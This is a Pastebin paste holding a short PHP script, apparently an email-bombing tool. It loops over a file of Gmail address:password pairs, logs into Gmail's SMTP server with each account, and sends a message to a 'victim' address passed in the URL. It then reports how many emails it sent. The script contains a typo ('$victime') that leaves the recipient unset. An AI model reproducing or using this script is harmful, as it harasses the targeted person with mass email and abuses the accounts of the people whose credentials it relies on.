Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $file = file('gmails.txt');
- $victim = $_GET['email'];
- $sub = $_GET['subject'];
- $bod = $_GET['body'];
- $c = 0;
- foreach($file as $email){
- $exp = explode(':', $email);
- $mail = new PHPMailer();
- $mail->IsSMTP();
- $mail->Host = "mail.test.com";
- $mail->SMTPAuth = true;
- $mail->SMTPSecure = "tls";
- $mail->Host = "smtp.gmail.com";
- $mail->Port = 587;
- $mail->Username = $exp[0];
- $mail->Password = $exp[1];
- $mail->SetFrom($victim, $sub);
- $mail->Subject = $sub;
- $mail->MsgHTML($bod);
- $address = $victime;
- $mail->AddAddress($address, $sub);
- if(!$mail->Send()){
- echo "Mailer Error: " . $mail->ErrorInfo;
- }else{
- $c += 1;
- }
- }
- echo 'Sent '.$victim.' '.$c.' emails';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement